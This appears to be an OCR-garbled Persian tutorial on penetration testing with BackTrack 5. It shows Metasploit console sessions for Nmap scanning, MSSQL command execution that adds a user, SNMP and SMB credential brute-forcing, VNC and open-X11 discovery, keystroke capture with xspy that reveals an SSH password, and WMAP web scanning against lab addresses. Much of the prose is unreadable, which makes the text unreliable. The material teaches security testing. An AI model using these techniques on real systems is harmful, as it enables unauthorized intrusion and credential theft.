| . (
I | Sound & Video € Zenmap (as root)
S 1uZ4 pD1L).
Y Wine * :a9:cc:e6:f1:6
13:68:6e:9e:b1:
D4:c0:ae:77:eb6:

36:28:08:30:

()
(¥, ]
;]

~

RO
oo K

WD

(g}
w
N D

L s HTTPS://LOCALHOST:3004 S (50 ol HuS 93 »ld URL ,s
Qg (o Juoie e vg s as 93 i,k jlas HTTPS://127.0.0.1:3004

Applications Places System m t] [ SatApr28, 2:49PM
~ v x Welcome To Backtrack 5 - Commercial - Mozilla Firefox
File Edit View History Bookmarks Tools Help

| Welcome To Backtrack 5 - Com...

https:/flocalhost: 3004{

SBackTrack £ dradis v2.7.1
https://localhost:3004/
@ Welcome to dradis

@ First Time User's Wizard - dradis v2.7.1

@ Welcome to dradis

B Welcome to dradis
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Jlél [o).a)l _xul,m S)gmn9 )9 gl:'dj”._:df.\._:_).i\ UAL).SMM S)le ML D 95w b )l sy
Swles oalaiwl

& | O [BIEMIE https:/ocalhost:3004ogin vle

™ EEM CK Linux Ensive secun oIt~ Ircrack-n .0rQ [ Music v
BackTrack Li Offensive Security AExploit-DB Wy Aircrack-ng FSEORG.0rg g Musi

v Google Q‘ ﬁ

Not familiar with Dradis? Checkout the Wizard.

You will only be able to log in if you know this server's password.

Login

[choose a username] |

Password




sl P Jb s

w

& A &Y localhost https://localhost:3004/ * - a e

nux j Offensive Security _§, Exploit-DB Alrcrack-ng SESEORG.org [EMusic

li imiport from fike... = E export ~ dradis v2.7.0- configuration | logout | feedback

|_gy add branch @ ﬂ @ @ add note E note categories - @
» |~ Dradis Framework 2.7 Test a Category  Authc Last U

Find a Node Notes Imiport note... Attachments

what's new in this version? |:J

Dradis Framework Project Site



http://dradisframework.org/
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Applications Places System | | [4 SatApr28, 347PM

Log out of this session to log in as a different user
A v X Dradis - Effective Information Sharing - Mozilla Firefox

file Edit View History Bookmarks Tools Help

(® Dradis - Effective Information S... &3

(Q ORIt dracisramenork.org v }.’]v q} |

§YBackrack Linux. Jfjoffensve Securty KRExplit-08 WAircrack-ng F3SEORGorg [gMusic

Dradis Framework

What is Dradis? L Drds

Professional
Dradis is an open source framework to enable effective information sharing, specially Edition
uring security assessments.

Dradis is a selfcontained web application that provides a centralised repository of  use dradis
information to keep track of what has been done so far, and what s stil ahead.

Features include:

» Easy reportgeneration.
» Supportfor aftachments.
+ Integration with existing systems and tools through server plugins.
+ Platiorm independent
Fresh News: develop dradis
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i Mg o HBoS & tCP 7175 =gy 590 s e I Jub 5 sl 0POSEGreSQL b ol yo0
buxo 3)ly b a5 Sollia Akl e Sl SBLal wleshsis a8 a3 9 S9b (50 Jb w9 oyl
0P8 Ll Vb @ &S euin oo ¢ euiSee Dal"db_driver' Hguws 5 msi 0 Msfconsole

sl 03ub (534 S POStgreSQL il oslawwl sl Metasploit

"host" Ol 9 V9w b oauls Sildas odls oKL &4 Jlasl a5 [oo}m Oodoo [o.uly oo b

mac name OS_name os_flavor os sp purpose 1info c
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Il ols =¥l s oslaiwl s b o V38l e 0905 Jl wledbl g s L 6l bl en
(attack) wiea

heIpouﬁpé)wﬂglﬁwgﬁsx_._ao_\,uT|))|)s|,o);mstaw)_\. Jod s b
3318 Dal bl basmo ¢l )3 lgle 8 b 5 sl giuns ax aF ouiSis I3 AT

opt/framework/config/database.yml/ db_connect -y

aﬁuooslsohmwbg)ﬂ@lfﬂ)ﬂyos)sdl;

nsf >
msf >

Database Backend Commands

List all credentials in the database
Connect to an existing database
Disconnect from the current database instance
Specify a database driver
Export a file containing the contents of the database
Import a scan result file (filetype will be auto-detected)
db nmap Executes nmap and records the output automatically
db status Show the current database status
hosts List all hosts in the database
loot List all loot in the database
notes List all notes in the database
services List all services in the database
vulns List all vulnerabilities in the database

workspace Switch between database workspaces

~

o pad @l 5 Slaal v NMap i (Sul 5 shal sl db_nmap" ) sues L polss 5o Lo
ls a4 Jolo ju Loais 5T Ja (ol b auiS” oslaiwl oo slxl ()6 & A 6l osls oL )s caub

B s5n Sl mls Sl i3S Gasd sk Jleial 4 ¢ sy Aradis & oSwl @l v 8
bl e XML

awsls (@nd normal xml, grepable) =Js aw )3 L NMAP a5 d aF s i red &l
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D5t Jl oslaiwl L NMAP I 5 sbe a3 auis s)ls dradis ;1) 553 wledbl sjalsn soi Lo 51

S Dal ) LT a9 5 db_nmap”

sl oub oslamwl "YE/VAYNFAN - SV-V-db_nmap" jl u) Jus s

msf >
e

Xec: nmap -V V 192.168.1.0/24 -oA subnet 1

Starting Nmap 5.00 ( http://mmap.org ) at 2009-08-1
NSE: Loaded 3 scripts for scanning.
Initiating ARP Ping Scan at 19:29

-

Scanning 101 hosts [1 port/host]

Nmap done:
Raw packets

3uS 3bo XM B )3 b Sl azis a3 dwilsine ) Jsimwd b suw) obl & Swl S8y

msf >
Importing 'Nmap XML'
Importing host 19
Importing host
Importing host
Importing host
Importing host

Q

o
el
LI )

[
L8

’__\
W W W W
ok ek

[
[
oy oY GY O

[N I SO I o I O I oS
[
0 o 0 0 o0 Ly

-
-
S}

@ 2 [y SAET NMAP Sl a5 slesss Jl"service" 5" host" wh)giws b auwlss oo Loubs

S Ax o3 ) S




BACKBOX « BLACKBUNTUD - BACKTR

Services

3]
\S]

'_\ ’_k )..!
n
o O W
w o
o

L R o = =

-] 0 DO DN 0 W o C
oo DN O

-] O
oY o>

[

6
6
6
6
6
6
6
6
6
6

pLe)
o

J 0O 0 0O OO OO O o 0 O Co

sdradis )s b ssa wledbl 5 whgiws $39)5 Sslsize NMAP L Sl plesl Jl 32 Lob (yuizred
oIl A 4 398 SLed s Jl 390 3ualen HIB sl JI Huy (S 9 3uiS cdlie w9 Hud Hail b
a bl 5o (grepable, and normal Xml) =l aw o Isazxe 5 395 (293 odub aiss

QS Aags yu) JSb




N dradis v2.7.0

© 1Y localhost https:/

£ import from fie... » [z} export ~ dradis v2.7.0- configuration | logout | feedback
_gaddbranch | & (& k] © add note | [3=] note categories * | &
b (2] Dradis Framework 2.7 Text & Category Author Last Upda
> (] Uploaded files
453201 xml - Nmap scan (= Category: Nmap output
4 -7192.168.1.201 192.168.1.201: Hostnames: [] Portinfo: Port #80/tcp is open (syn-ack) S Nmap output  Nmap 20 May 20
> (£]800cp
b (C]135itcp
b (£]139%cp
b (0] 443ftcp
b (2] 445icp
> (C]3306/tcp
b (2]33891tcp 192.168.1.201:
Hostnames: []
Port info:
Port #80/tcp is open (syn-ack)
Service: http
Product: Apache httpd
Version: 2.2.17
_Port #135/tcp is open (syn-ack)
Find a Node . Notes | Import note... I Anachfnents
There is a new revision in the server. Please refresh. what's new in this version? | |
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uxiliary(

I} T:RFAC: => eth0
msf auxiliary(
PORTS =>
msf auxiliary(
RHOSTS => 192.1
msf auxiliary(
THREADS => 50
msf
TCP OPEN
TCP OPEN
TCP OPEN
TCP OPEN
TICP OPEN

TCP OPEN
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Nmap done: 1
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Hunting For MSSQL
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msf >

Exploits

windows/mssqgl/lyris listmanager weak pass
windows/mssql/ms02 039 slammer
windows/mssql/ms02 056 _hello
windows/mssqgl/mssgl payload

Auxiliary

admin/mssql/mssql enum
admin/mssgl/mssgl exec
admin/mssql/mssqgl sql
scanner/mssgl/mssqgl login
canner/mssql/mssql ping

Description

Description

Lyris ListManager MSDE Weak sa Pas:
Microsoft SQL Server Resolution Ow
Microsoft SQL Server Hello Overflo
Microsoft SQL Server Payload Execu

Microsoft SQL Server Configuration Enumerator
Microsoft SQL Server xp cmdshell Command Execution
Microsoft SQL Server Generic Query

MSSQL Login Utility

MSSQL Ping Utility

ﬁ;:pc_\.umlsearch J 95w )l In._\_)l.) um.uLu;ulm..‘mA_(ul Sl duin 5o YL o> AS ) shiles

(Vb 2 9ua3)

msf >
msf auxiliary(

Module options (auxiliary/scanner/mssql/mssqgl ping) :

Name

PASSWORD

RHOSTS

THREADS

USERNAME

USE WINDOWS AUTHENT

Required Description

password for the specifie
target address range or C:
number of concurrent thre:
username to authenticate :
windows authentification

_é,) Q_) - é H - - . 05 L o - ) H > - é H M
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msf

information for

ACKTHISBOX-Opipesglgquery

8.00.194
InstanceName = MSSQLSERVER
IsClustered = No
ServerName = SSHACKTHISBOX-0

Auxiliary module execution completed

a3 I 5 mliad D9 panl - Gualiys Az < oub Jlebl =5y alea Sl ileMbl €XPIOit ) siws b

L33 5o pinles gl D g IP pled iy 305 o wloas IP
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(auxiliary/admin/mssql/mssqgl exec):

Current Setting

OWNED > C:\owned.exe
PASSWORD
RHOST
RPORT
USERNAME
USE_WINDOWS AUTHENT

mst
cmd => net user rellk ih
msf

w35 5,5 BRUTE-FORCE 4, DICTIONARY FILE S (uils b puilgs (50 Lo als po ool 03

090 Aty & 0T b 5 puiS Sl i3 eises )3 3y3a 252 52 ADD Jsiass b glosss sl

passi

> targs

targ:
user)
wind
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Service Identification
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Iﬂ)ﬁﬂwab&blmdlﬂc\.ig.n".\EJmu)Adfu,gLQw)).uuo)l.;);_\._gl.;u)ll._»db).o)’lm
Sl 53 Jlos by 5 S 5o o3liiusl mius )3 1 D331 e 5 ax Sl ey &5 Spdine acl ol
oo el aso bla pled (pl 5 03 0 LB 5 el Sl 3y awT & eslaiwl 3)50
35l 03 gos )'L_)[oiuk_»_.wksg)ﬁb U 92 Ll sl s u.Q;lfTL_:L_»_g«Lo;AL‘;_qI;Ag)g Sl dob

bl A5lg3 5o Aden SIS 9 Adon Aslass

ol ) ol comid 395 399 wpgio > wleMbl Jlsl 5 Jas sl FTP Guss sus Jl osleiwl Mie
SNIff ey Sial) & a5 S gdie plosl CleAr Xt w) oo a3 wledlol Jlamly 3bl (o5 ol Gwes pw

Sbls padlon uys e (l YV w92 S50 50

Pn oo 2R b asbas 590 eaiS eslaiwl 30l s (el V3 &F 90 S siws 5 L)l Js

msf >
msf auxiliary( ) >

Module options (auxiliary/scanner/ssh/ssh version):

Name ] i rquired Description

RHOSTS
RPORT
THREADS

TIMEOUT

mn

The target address range or CIDR identifi
The target

The number rent threads

Timeout for the SSH probe

® ® @ O
0

-

msf auxiliary( )
exec: cat subnet l.gnmap | grep 22/open | awk '{print $2}' > /tmp/22 ope

msf auxiliary( ) >
RHOSTS => file:/tmp/22 open.txt
msf auxiliary(

THREADS => 50

msf auxiliary(
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msf >

msf auxiliary(

r
RHOSTS => 192.16

msf auxiliary(
THREADS => 10

msf auxiliary( ) >
Module options (auxiliary/scanner/ftp/anonymous):

Name Current Setting

FTPPASS mozilla@example.con e password for the specified ;
FTPUSER anonymous ( ‘ username to authenticate as
RHOSTS 192.168.1. )2 . a Fe (e i f target address range or CIDI
RPORT 2 'he target port

THREADS 10 'he number of concurrent thread

msf auxiliary(
152.168.1.23:21 Anonymous READ (220 (vsFTP

d
Recording 1 FTP credentials for 192.1
Auxiliary module execution completed

ro._!);_,dradis)l)-a_|6,)omquar__qlémum)al))wu;,)sﬁ;b@}p)ﬂ)s,

(ObIS &bl sl e )




Lj import from file... v IE export v dradis v2.7.0- configuration | logout | feedback

_gaddbranch | & [t (k5] @ add note | [3=] note categories ¥ | i
b () Dradis Framework 2.7
b (£ Uploaded files
4~ scan.xml - Nmap scan
47192.168.1.201 Port #80itcp is open (syn-ack) Service: hitp Product: Apache httpd Version: 2.2. Nmap output Nmap 20 May 2
b (] 80/icp
b (£7135¢cp
b (C3139%cp
b (0] 443cp
b (2] 445icp
> (1 3306/tcp
b (1 33890tcp Port #80/tcp is open (syn-ack)
4 _“]1921681202 Service: http
b (23135/cp Product: Apache httpd
» (J138icp Version: 2.2.17
i ] 445itcp
b [13389tcp
4£7192.168.1.204
> (23389itcp

Text & Category Author  Last Upd:

[z} Category: Nmap output

Find a Node Notes Import note... Attachments

what's new in this version? | |
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SNMP Sweeping

Simple Network Management Protocol —asxe

aloa ) e »8 (590 3w (50 90 3l Leub &F wl A8 gy Sl SS9 50 3 SNMP
ISy 093353 aSiub MONITONNG Al 5 =i e 4 9 3uS —as (W 59

C 3l 3L el wMSiie SNMP v2 & SNMP v1 asl

SNMP

Y

3@0

&E&Ho

&o

The Simple Network Management Protocol (SNMP) is the basic method of gathering bandwidth and network usage data. It can be used to
monitor bandwidth usage of routers and switches port-by-port as well as device readings like memary, CPU load etc.
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ManNage s, usl o & 3 o5 (o5 35135 Ul b G3b) b 3,3l 5 aSub Yo Vseno
3Ly 5 J S e Sy 5 SNMP JSss 50 3,5 oslaiwl somw a0 inh) & 5 03,8
Qi luin D JSsn ol aF A e whuss als I wledbl
.L).@SETJLQ.GET..\.LQ)SET_\JLAmbwﬁw)wmgédl)bbm)édﬁ})gwl
o 18 oslawl 3 g0 IP Based wiakas jl wleMbl sl s wua GET s 5 wlesksis Jlocl
as aSuh s Device ool 7 4ae 543 OID s MIB ¢5n Sislie SNMP sy )5 Vgose . 5 18
L 3l 3uad Leib Jlo pobas . o)ls 9 353 &5 by so s OID ais” e =) 5sliw 5) SNMP 55 5
SET sie b Gl Laub ) sdiio oyl slre S8 sy 0393 o) L) S »39) < JS55 53 o2l oS

asidlaplos Yl ) 590 093 o) Jl awileis b S ges s ) ¥,7,1,6,1,9,9,EA0,0,1.7,). OID ) lsss

bl 50 7 ko SNMP JS55 55 sy )3 a5 o alea I MIB Browser 5 Trap

Simple Mebwork
Management
Pratocol (=P
iy Manager

Uzer interface

Metwork management

application
SMMP SMMP ShkP
Agent | Agent | Agent |
WIE WIB I

Managed devices
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3, el polis 5 0aubs Ao (53l (sl SNMP as™ sl (ol SNMP il oslasuwl w0 ¢y 535 ) o
)..\,|)LQ)K}Lm)bi\éﬂk_s)l._g.n.u._»goU}foT.?ua.iQLo)'gm|m|).j))4\5&@\5|).30T
le)gc\f..\.iiﬁ.orc;M)é)._»)lf6|)4|)Quolcﬁ|UToéhuu;|)JoCMAQ..LQ..Lg,aL)MU<\Iyi:

H Y- Y

).gi.oobic(\_é.”
(%),a:uo.).&.c:dl’ioul,ic&g)).pﬂooébbi(g

sla)lid Sl sb) Dlades 5 odub osbe aSiub iy e a5 wuwl (pl (s )lw osbw ¢yl ples azuis

3 giuo AiwlS S9a g0

SNMP (5 5 5110l5” (sl At s 3330
D 35 be &5l ol 3 yShee gy Jobib Sk iy pae S o 03liiusl

LYV STHEPRWEINI S REICTR VAS-) FEN REVE VR VAPTS] K W ITENRCIVEUR VAR P HECIVE VR U I NIV VR VY

25 L)Ll dad oy pu30 Dobiie A e L) w9 B muow )39y Jl S 55 &5 (5 5 9uelS
._\.d,olfTLpT%;):)l:)lu;,&'ol;ulkg)l:_\ﬁle@

VAAA Jlw 3 SS90 ol 25 a8 2ilgs oo @Sub vy o3ls JG9 50 SNMP a5 b=l

IP JSs900 b o a8 ola)l il e ydw ) obiie & SISS9 5 03 1) (sl aidbaub) wlalual b awb 59 20
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administratora, a5 sl Jlecl jl sl oslw acgoxe SNMP Lol aiud .2 Jloel 3iiS (50 )
OHTRR IS (50 B3 ) IS (50 VI JS55 00 ol Ak 2 &S Rl 039370 )3 Huss HUlss Lo
5 TCP/IP bl s a8 Slxo b )9S (6 5 510lS (sl aSus Jl by 5 Sim b (3,5 olsl YISl
aumglite )3 .l sl aub wleMbl (8l ) glaie &y 3 laskusl S8l &y )3 9 S (o e XS o
UNiX o a0 6l SNMP (b slxl e il o 3590 e e sle Lis a5 SGMP L
S5 ) obaie &y aSub 93,5 siwle .39, 50 VI & o ue 5 LWRAck Modem (e u; , Windows
Bl K85 sy L & &5 ol aSub e e s 3Slee 508 Sl @b 3,5 SeSs i

Db o oslamwl ju b sla interface slu Al oy e U & L=

ledbl & Jole a5ai)ls dgay Ylpse 5 & Juole sla pb & Sbls)l juaic 95 (JSS9 0 ol 0>
ol) K paw A 5o Aol b al B ), S9uelS S0 AF ke 4ol ye sl e b sl Al
ol 1 b alih G e iylbby AF el SRS p 55 gloil JI (as a5 sl g sl
5 Golesb p NMS (5 aauls s 255 oo aialis NMS plgie b el ol e .30 oo hal 33)ls

S €599 0T b Jl Jole S a8 ol ol Trap .aubl e alub ) Juole K I Trap wsb s
22350 »a NMS o5 1,

9 ol 031 ol K diiled &F AT e osliiwl e g0 & L MIB Iy Jole 5 ol paw
500 & b wledbl ¢yl 9 3ubl (5o 0aub vy jae sla AEVICE I s)leT wleMbl g5 o I JSiuio
DR 5o pinles d S Hlalw

G re i il Su8y5 JHaS sl alastnel JS59 5 ulsic & 1) JS59 5 « IETFSNMP o5 ,5
03 45 e IP JK59 02 503930 )3 d9a 90 Sl SS9 0 P yaFe 2l RFC OHFed sl 03 )5
oaub 59 0 RFC1157 )5 T Jjl ascus ¢yl sl &5 ool 030k ash)l asuus aw )3 SNMP 5 55 .ol

2l aisplie a3l 3539 SNMPVL s sl ais) bls)l g 55 amw JS 0o

03 5 3guib 50 0340l SNMPV2C s blx) Jl &S aiS 0 I (sl anub )y blsyl el SNMPV2
trap s write-only Read-only .l osuis 53 20 RFC3418 RFC3417 RFC3416
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A g )33 )3 (kB Fows & s 9T Glol ey jo a5 ol SNMP I aseus (5 AT SNMPV3

©3dh w0 pde sl ;qég;g.ow&bh.’iﬂ ué)fdow)pb-deL‘bdhwﬁhw|m|
lis sl )lasbusl a4y adsl slas plastinl jl ) e=xs SNMP I asuuws ¢l SIS ) ob s .0iS 0 asLal

DS 5o iy x5 1) astus ¢yl &5 il RFC .muwl 03 55 skl

Dl ais e

RFC3415, RFC3416, RFC3410, RFC3411, RFC3412, RFC3413, RFC3414
RFC3417, RFC3418, RFC2576

Dl Gaaa asuus iz 4 95 3 3w g3 J9 wmanl Jol8 3 )lasbuwl 5 SNMPV3 asil 4 angs b
38 5o w90 SNMPVL i 5 SNMP )8 3iis 3 o3 Jloel HiST 9 23S (oo Joi8 ) JS59 50

5 Ol g plisebl )13 2 ) sbiie &) sl aib) SLo bls)l esolas JI SNMPv2 s SNMPv1
a5 i Jgac aols Tog 3 b 03 50 byl a5 sl ) 5o blis)l . 2iiS 0 osliwl L Jole
as ) shiles FeAd-0NlY sl aii ) blsjl )3 .36 o Jpiis 1) salises sla wlled LTl plas
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20 o 0T Il 3uiS 5o eadis b o (s Aty Suaiie 3uiS (50 a5 1) SNMP Jole 5 aSiilo ) .ol
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IS i o d Il Ys ublia Lol .aub aalsa 28) Sial) 4 Yo aubly 61381 s JSie ,5T
Il Juols 36T ) I 63b) pladie i DI Jl e yiisl )3 T lae H51 (puixed b ) 3alsd cwd
PLl S i Lo a5 3ilg3 50 SNMP a5 culominl .3 (50 VS S8l s L) oS b gl o s
pR18 1) aSub 03,5 S Yol JS59 5 l -3bls il 59 85 &2 s Al Y933 (IS oS Juloss
27 390 50 W 590 Jl (50 a4 AT Hoal 5 30 sl At sSlass Hinl 38l aSile) JUe Vol & .88 50
2390 0B I Sl Ju8 Ulgs (50 5 383 5o LIS SNMP (5640 abo g 3o 39, L3I I I &
.é)ff'ﬂ'dm.o&é)d.}w;d.by).o

ol ooles puiS o 3lanwl metasploit »s Jsss s pl Jl sk Jbs SS90 ol 0L olisS iz ¢yl




msf >

Matching Modules

Disclosure Date Rank
auxiliary/scanner/misc/oki_scanner normal
auxiliary/scanner/snmp/aix version normal
auxiliary/scanner/snmp/cisco config tftp normal
auxiliary/scanner/snmp/cisco upload file normal
auxiliary/scanner/snmp/snmp enum normal
auxiliary/scanner/snmp/snmp enumshares normal
auxilia*y/SFanne*/snm“/snmp enumusers normal
auxiliary/scanner/snmp/snmp login normal
auxiliary/scanner/snmp/snmp set normal
auxiliary/scanner/snmp/xerox workcentre enumusers normal
exploit/windows/ftp/oracle9i xdb ftp unlock 2003-08-18 great
exploit/windows/http/hp nnm ovwebsnmpsrv main 2010-06- 16 great
exploit/windows/http/hp nnm ovwebsnmpsrv ovutil 2010- great
exploit/windows/http/hp nnm ovwebsnmpsrv_ uro 2010-06-08 great
exploit/windows/http/hp nnm snmp 2009-12-09 great
explo‘t/HAnQQus/http/hp_nnm_snmpviewer_actapp 2010-05-11 great
post/windows/gather/enum snmp normal

nmsf >
msf auxiliary( Yoo

Module options (auxiliary/scanner/snmp/snmp login):

Name Current Setting

BATCHSIZE

BLANK PASSWORDS

BRUTEFORCE SPEED

CHOST

PASSWORD

PASS FILE /opt/metasploit3/msf3/data/wordlists/snmp default pass.txt
RHOSTS - -
RPORT 161l

STOP_ON SUCCESS false

THREADS 1

USER _AS PASS true

VERBOSE true
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msf auxiliary(
rhosts => 192.1
msf auxilia
threads =>
msf auxi
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Vulnerability Scanning
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SMB Login Check
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use auxiliary/scanner/smb/smb_login <msf
show options <(smb_login)msf auxiliary
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:((Module options (auxiliary/scanner/smb/smb_login

Description Required Current Setting Name

Try blank passwords for all no true BLANK_PASSWORDS
users

How fast to bruteforce, from O yes O BRUTEFORCE_SPEED
to 5

File containing passwords, one per no PASS_FILE
line

Respect a username that no true PRESERVE_DOMAINS
.contains a domain name

The target address range or CIDR yes RHOSTS
identifier

Set the SMB service port yes 22, RPORT

SMB Domain no  WORKGROUP SMBDomain

SMB Password no SMBPass

SMB Username no SMBUser

Stop guessing when a yes false STOP_ON_SUCCESS
credential works for a host

The number of concurrent threads yes \ THREADS

File containing users and no USERPASS_FILE
passwords separated by space, one pair per line

Try the username as the password no true USER_AS_PASS
for all users

File containing usernames, one per no USER_FILE
line

Whether to print output for all yes true VERBOSE
attempts

set RHOSTS 192.168.1.0/24 <(smb_login)msf auxiliary
Y&/\QY\7A ). <= RHOSTS

set SMBUser victim<(smb_login)msf auxiliary
victim <= SMBUser

set SMBPass s3cr3t<(smb_login)msf auxiliary

s3cr3t <= SMBPass
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set THREADS 50 <(smb_login)msf auxiliary
O- <= THREADS

run<(smb_login)msf auxiliary

FAILED 0©xc000006d

STATUS_LOGON_FAILURE — \Q¥\$ A \=+ [%]
STATUS_LOGON_FAILURE - \4¥Y\$ AN [#]
STATUS_LOGON_FAILURE — \4Y,\¢ A\ NE [#]
STATUS_LOGON_FAILURE — \4¥Y\$AN\YD [#]
(SUCCESSFUL LOGIN (Unix —\4¥\$ANNS [#]

FAILED ©xc000006d

FAILED ©xc000006d

FAILED ©xc000006d
Auxiliary module execution completed [¥]

<(smb_login)msf auxiliary

L )5 B eds munT O Sl &« (VUINerability scanner ) s s T Sl daxy dolsl )y
oslamwl w piwd i85 Hb S A 3985 e YS90 ool Il padlsd (5o a5 5 ) 5o VNC b

a1 338 &4 1 @it dalsl als ro &y ala yo 4 &F

oo QoS> 5 kxS i 3 T abis 5 35 e U a5 sy VNG o8 1ol Yl ga

sl C\;’i; < gduwl b S oslaswl o}zigué)f WS lgs

OP P 9mels s9) p &S Jobd solass &y OB J=o Jl i &S Sole i SIS Jleial SS9 sl 2
Il D39 395 &5 (5 9bas Sl wouwl aid) Swsd s Gl & (89 b adS law Jls sdwe S s
O d G 38 Yl 59 A b wmawl 035 Jalie (b pSguels S ) S50 piluzes s
aS o ylobo ddlgy (Jozb bbb ladwd (bl SSB Senels Sues ) 90 psbes
= o g Gl 93 b 03 )8 wn Jesdhe gled s s & 9 0l )Ssuels b HBI3) 8
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a3 & sl O V1381 e 3 2iy 5 (bl e Computing Virtual Network —asses VNC 55 ,5)
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HRET PR PR U ENg

use <(vnc_none_auth)msf auxiliary

auxiliary/scanner/vnc/vnc_none_auth
show options <(vnc_none_auth)msf auxiliary

Module options

Description Required Current Setting Name

The target address range or CIDR yes RHOSTS
identifier

The target port yes 04-- RPORT

The number of concurrent threads yes \ THREADS

set RHOSTS 192.168.1.0/24 <(vnc_none_auth)msf auxiliary
YE/NAYNZA),- <= RHOSTS

set THREADS 50 <(vnc_none_auth)msf auxiliary

0- <= THREADS

run <(vnc_none_auth)msf auxiliary

VNC server protocol version : RFB 003.008 \aY\7ANY\:04 - - [%]
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VNC server security types supported : None, \AY\ZANAYV:DQ-- [*]
Ifree access

Auxiliary module execution completed [*]

Ly iSus!

open X11 ,iswl opbys lanl ys

ST @0 03 ) alub s dea Blaal a wolas (ol b 3bl 5o VNC Lisul sisle s piSwl oyl
Il 4555 mad 0332 ) b 5 Vs a5 383 50 b ol cl 2dS Sl w9 35 5o Sl Slaal
09 Sl 5 Y3b Juog wunls et A . SIS )13 0 bLs)l 5 osls Juos i 4 3lsk Shg

cen 9 Jhal mie

¢f.uf oslatwl o gluwl be )l f.ul,.u.o PIIZEN Lora.a.uu.w SR TESY FRY(EN

6|)4049;(v_.u.oo.u}.ﬁ)l);lép&.up_b\_ﬁsl).:dbu)l.),;}buag[nm.)upubwuhm.\;«l;)o
S5 An g5 Al e 4D S Spidh

use auxiliary/scanner/x11/open_x11 <msf
show options <(open_x1l)msf auxiliary

Module options

Description Required Current Setting Name

The target address range or CIDR yes RHOSTS
identifier

The target port yes #--- RPORT

The number of concurrent threads yes \ THREADS

set RHOSTS 192.168.1.1/24 <(open_x11)msf auxiliary
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YE/NAYNZAN,) <= RHOSTS

set THREADS 50 <(open_x11)msf auxiliary
0- <= THREADS

run < (open_x11)msf auxiliary

Trying 192.168.1.1 [x]

Trying 192.168.1.0 [x]

Trying 192.168.1.2 [x]

.Snip..

Trying 192.168.1.29 [*]

Trying 192.168.1.30 [*]

(Open X Server @ 192.168.1.23 (The XFree86 Project, Inc [¥]
Trying 192.168.1.31 [x]

Trying 192.168.1.32 [%]

.Ship..

Trying 192.168.1.253 [x]

Trying 192.168.1.254 [x]

Trying 192.168.1.255 [x]

Auxiliary module execution completed [x]

/cd /pentest/sniffers/xspy #~root@bt
xspy -display 192.168.1.101:0 -/.#pentest/sniffers/xspy/:root@bt
delay 100

root@192.168.1.11(+BackSpace)37 ssh
sup3rs3cr3tp4s5word

ifconfig
exit



mailto:root@192.168.1.11(+BackSpace)37sup3rs3cr3tp4s5w0rdifconfigexit
mailto:root@192.168.1.11(+BackSpace)37sup3rs3cr3tp4s5w0rdifconfigexit
mailto:root@192.168.1.11(+BackSpace)37sup3rs3cr3tp4s5w0rdifconfigexit
mailto:root@192.168.1.11(+BackSpace)37sup3rs3cr3tp4s5w0rdifconfigexit
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PU & paiSio o x5 Sl S o)l G ol delsl s

WP Web Scanner

el 3y T il < il ol &5 3ibl 5o wals w5 xiSwl 0T GUaS 329 Il 5 il ¢yl
wanl 035355 3l SQIMAP ol &5 )1l b g &S

03 I)Webapp G a23ae o)lal be 4y 5 wawl 0aub ax LSS 5 guazs v gduunl Lo V1531 0 )5 b )Ll ¢yl

[ol:;.'.l oSl C.»Lu CPCENPEIVEN f.uf Sl asaa osls oL G aub lawl I 38l P o2l LU slawl )s
93D aSub D oub

L a5 aolo Vb aF S )5 b Il a8 ably (o (S My S ) 9u0 &y g sl Lo )3 D133 55yl
Ol 03 lile 3 5 whygins ax elss 4l Sl Hups 9 3 gaiue pll YIS load wmap , giuws
a5 oo oslaiwl "help" )siws Sl hal o8 (83

db_connect -y /opt/framework/config/database.yml <msf
load wmap <msf

metasploit.com 2011 [ Jet === [WMAP 1.0][x*]
Successfully loaded plugin: wmap [*]

help <msf

Wmap Commands

Description Command

Test targets wmap_run
Manage sites wmap _sites
Manage targets wmap_targets
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snip..

o WMAP_SItes -a ) siwsls a5 moils syan 3aa 5 sl a4y 5l b lanl (a8 shal I Jus
il 03 505 1y s )3 &5 US3R @uilss ;o WMAP_SItES | )siws b 5 sl plnil ) ISyl wlss

S A3 95 ) il & e pS oo iz 0T Jl 9 S sl b 5

wmap_sites -h<msf
[Usage: wmap_targets [options [x]

Display this help text h-
(Add site (vhost,url [a [url-
List all available sites 1-

(s [urls] (level) Display site structure (vhost,url-

wmap_sites -a http://192.168.1.100 <msf
Site created [*]

wmap_sites -1<msf
Available sites [%]

Forms # Pages # Port Vhost Host Id

A YAYAZAN Y - NAPAZAN Y -

<msf
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S A3 95 25105 4 a3 V1S B3 lgis 1) ol S esilsine wmap_target )suws b as

wmap_targets -t http://192.168.1.100 <msf

S E 9 b 1) 838 Sl 3uils5 50 WMAP_IUN ) giws b

h- wmap_run < msf

[options]Usage: wmap_run [*]

h Display this help text-

t Show all enabled modules-

regex] Launch only modules that name match provided regex]m-
path/to/profile] Launch profile modules against all matched targets/je-

No file runs all enabled

P o b ss o b 9 9o

wmap_run -t <msf

Testing target [x]
(Site: 192.168.1.100 (192.168.1.100 [*]
Port: 80 SSL: false [*]

Testing started. 2012-01-16 15:46:42 -0500 [x]

[*]
=[SSL testing }-

Target is not SSL. SSL modules disabled [%]
[*]
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-[Web Server testing }-

..Loaded auxiliary/admin/http/contentkeeper_fileaccess [*]
..Loaded auxiliary/admin/http/tomcat_administration [*]
..Loaded auxiliary/admin/http/tomcat_utf8 traversal [x]
..Loaded auxiliary/admin/http/trendmicro_dlp traversal [x]

.snip..

<msf

Sob 50 J8 Ldoile Sislo 3uiS (50 03@lie yu) p9003 S A (S gimwd b

wmap_run -e<msf
Using ALL wmap enabled modules [x]

Testing target [x]
(Site: 172.16.2.207 (172.16.2.207 [*]
Port: 80 SSL: false [*]

Testing started. 2012-01-16 15:57:51 -0500 [x]

.snip..

FJCI)MI

hosts -c address,svcs,vulns <msf
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vulns svcs address

VOV NAYARAN N -

<msf

A.Q.)u.oiol:_t.ﬂl)d.o.c

vulns <msf
Time: 2012-01-16 20:58:49 UTC Vuln: host=172.16.2.207 [x]

port=80 proto=tcp name=auxiliary/scanner/http/options refs=CVE-
2005-3398,CVE-2005-3498,0SVDB-877,BID-11604,BID-9506,BID-9561

<msf

Lo oS oslaiwl 395 (5 23 NI [T SUSIEIEN polss 5o odub 6051 gon wlelbl yl Jl e Jls
@ &S oS 3y A mhouw )3 1) (6 plans 6Lm5)g;\g__wTﬁm,;uopentesterhgol,@

5w Vb D) doa asul vl JJ.'\|9.'€._\)3NL_\°.))A__\L)5)|)'§AS|)| alauwlg




BACKBOX . BLACKBUNTU « BACKTRACK

S o 08 b vulnerability scan jl s ,%s (i opbys PRCAPE SO

Working With NeXpose

